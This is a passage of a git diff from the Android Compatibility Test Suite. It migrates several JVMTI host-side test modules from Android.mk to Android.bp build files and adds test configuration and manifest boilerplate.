+        android:targetPackage="android.jvmti.cts.run_test_1953" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-1953/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-1953/jarjar-rules.txt
new file mode 100644
index 0000000..972a3f3
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1953/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest1953@1
diff --git a/hostsidetests/jvmti/run-tests/test-1958/Android.bp b/hostsidetests/jvmti/run-tests/test-1958/Android.bp
new file mode 100644
index 0000000..661582e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1958/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1958HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1958DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1958/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1958/AndroidTest.xml
new file mode 100644
index 0000000..b30faae
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1958/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest1958DeviceApp.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest1958HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest1958DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_1958" />
+        <option name="runtime-hint" value="8s"/>
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp
new file mode 100644
index 0000000..c3cd926
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1958DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1958/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1958/app/AndroidManifest.xml
new file mode 100644
index 0000000..c561fd8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1958/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_1958">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1958" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_1958" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-1958/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-1958/jarjar-rules.txt
new file mode 100644
index 0000000..4c7e461
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1958/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest1958@1
diff --git a/hostsidetests/jvmti/run-tests/test-902/Android.bp b/hostsidetests/jvmti/run-tests/test-902/Android.bp
new file mode 100644
index 0000000..380b464
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-902/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest902HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest902DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-902/Android.mk b/hostsidetests/jvmti/run-tests/test-902/Android.mk
deleted file mode 100644
index 4467924..0000000
--- a/hostsidetests/jvmti/run-tests/test-902/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest902HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
index 42e8698..25f2011 100644
--- a/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/Android.bp b/hostsidetests/jvmti/run-tests/test-902/app/Android.bp
new file mode 100644
index 0000000..3083d65
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-902/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest902DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/Android.mk b/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
deleted file mode 100644
index 278351b..0000000
--- a/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest902DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-903/Android.bp b/hostsidetests/jvmti/run-tests/test-903/Android.bp
new file mode 100644
index 0000000..966fc5f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-903/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest903HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest903DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-903/Android.mk b/hostsidetests/jvmti/run-tests/test-903/Android.mk
deleted file mode 100644
index 74208d0..0000000
--- a/hostsidetests/jvmti/run-tests/test-903/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest903HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
index 4b33b2d..0d2d039 100644
--- a/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/Android.bp b/hostsidetests/jvmti/run-tests/test-903/app/Android.bp
new file mode 100644
index 0000000..bee2731
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-903/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest903DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/Android.mk b/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
deleted file mode 100644
index 08a8f4e..0000000
--- a/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest903DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-904/Android.bp b/hostsidetests/jvmti/run-tests/test-904/Android.bp
new file mode 100644
index 0000000..82966af
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-904/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest904HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest904DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-904/Android.mk b/hostsidetests/jvmti/run-tests/test-904/Android.mk
deleted file mode 100644
index bfbbfa2..0000000
--- a/hostsidetests/jvmti/run-tests/test-904/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest904HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
index 57f6027..8a0f43e 100644
--- a/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/Android.bp b/hostsidetests/jvmti/run-tests/test-904/app/Android.bp
new file mode 100644
index 0000000..966dd2d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-904/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest904DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/Android.mk b/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
deleted file mode 100644
index 1805c35..0000000
--- a/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest904DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-905/Android.bp b/hostsidetests/jvmti/run-tests/test-905/Android.bp
new file mode 100644
index 0000000..cbf9100
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-905/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest905HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest905DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-905/Android.mk b/hostsidetests/jvmti/run-tests/test-905/Android.mk
deleted file mode 100644
index cd9234a..0000000
--- a/hostsidetests/jvmti/run-tests/test-905/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest905HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
index a0e2e05..3aa6007 100644
--- a/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/Android.bp b/hostsidetests/jvmti/run-tests/test-905/app/Android.bp
new file mode 100644
index 0000000..70ade13
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-905/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest905DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/Android.mk b/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
deleted file mode 100644
index 082dd05..0000000
--- a/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest905DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-906/Android.bp b/hostsidetests/jvmti/run-tests/test-906/Android.bp
new file mode 100644
index 0000000..c172214
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-906/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest906HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest906DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-906/Android.mk b/hostsidetests/jvmti/run-tests/test-906/Android.mk
deleted file mode 100644
index d9105ca..0000000
--- a/hostsidetests/jvmti/run-tests/test-906/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest906HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
index 38d2abe..47d077a 100644
--- a/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/Android.bp b/hostsidetests/jvmti/run-tests/test-906/app/Android.bp
new file mode 100644
index 0000000..057dee2
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-906/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
